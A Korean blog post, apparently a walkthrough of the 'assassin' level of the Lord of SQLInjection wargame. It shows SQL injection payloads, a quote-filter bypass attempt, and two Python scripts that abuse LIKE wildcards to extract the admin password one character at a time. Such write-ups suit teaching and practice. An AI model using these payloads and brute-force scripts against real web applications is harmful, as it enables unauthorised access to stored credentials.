Network/LOS

[LOS_15]assassin

dcho 2019. 8. 28. 01:15
SMALL

이번 문제에서는 

필터링 되는 부분 : '(single quote)

get 받는 파라미터 : pw

해결해야 되는 부분 : id 파라미터가 'admin' 일 경우

싱글쿼터를 닫아줘야 한다 안그러면 다 문자열 처리가 되어버린다. 

?pw=1 || id like 0x2761646d696e27 %23


싱글쿼터를 우회 하려고 %26apos; (혼합된 URL/HTML 인코딩) 을 써서 해보았다.

?pw=1%26apos; || id="admin" %23


싱글쿼터로 보이기만 할 뿐 싱글쿼터로 들어가진 않았다.

LIKE 함수에 생각해 보다가 %기호로 접근해 보았다.

?pw=%0%




import requests

headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키값

for j in range(48, 127): # 반복문 숫자부터 시작함

    params = {'pw': "%"+ chr(j) + "%"}

    r = requests.get(url, params=params, headers=headers)

    if "Hello guest" in r.text: # 응답값에서 텍스트가 Hello guest이면 출력함.
        print(chr(j), end='')


자동화 코드로 인해 guest pw의 값들을 다 긁어왔다.(_ 는 제외 해야함) 이제 자리 배치가 중요한데 생각을 곰곰히 해봐야겠다.

LIKE문의 성질을 이용해 조사한 결과 

?pw=8_%


요런식으로 하나하나 접근할 수 있다.  

Hello admin 으로 조사해보았는데 아마 없는 것을 보니 예상으로는 guest랑 admin이랑 앞부분이 똑같은 것 같다. 

예를 들어 

Guest는 1234560이고 
Admin은 1234569라면 

123456까진 같지만 이후는 달라질 수 있을 것 같다.

그렇다면 앞부분 부터 점검해 나가면서 중간에 Hello admin 이 뜬다면 되게끔 스크립트를 짜보았다.

import requests

headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키값

p="" # pw 저장 변수
for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
    for j in range(48, 128): # 작은 반복문 숫자부터 시작함
        if chr(j) == "_": # _ 일경우 continue
            continue
        else:
            params = {'pw': p + chr(j) + "%"}
            r = requests.get(url, params=params, headers=headers)
            if "Hello guest" in r.text: # 응답값에서 텍스트가 Hello guest이면 pw 저장하고 다음자리로
                p += chr(j)
                break
            if "Hello admin" in r.text: # 응답값에서 텍스트가 Hello admin이면 출력하고 끝
                p += chr(j)
                print("[+] Admin Success! : " + p + "%")
                exit()


결과값은 832% 


와우.. 진짜 오래 걸리고 생각도 못했던 문제이다.. 하지만 재밌다 클리어!


'Network > LOS' 카테고리의 다른 글

[LOS_17]succubus  (0) 2019.08.30
[LOS_16]zombie_assassin  (0) 2019.08.30
[LOS_14]giant  (0) 2019.08.28
[LOS_13]bugbear  (0) 2019.08.28
[LOS_12]darkknight  (0) 2019.08.27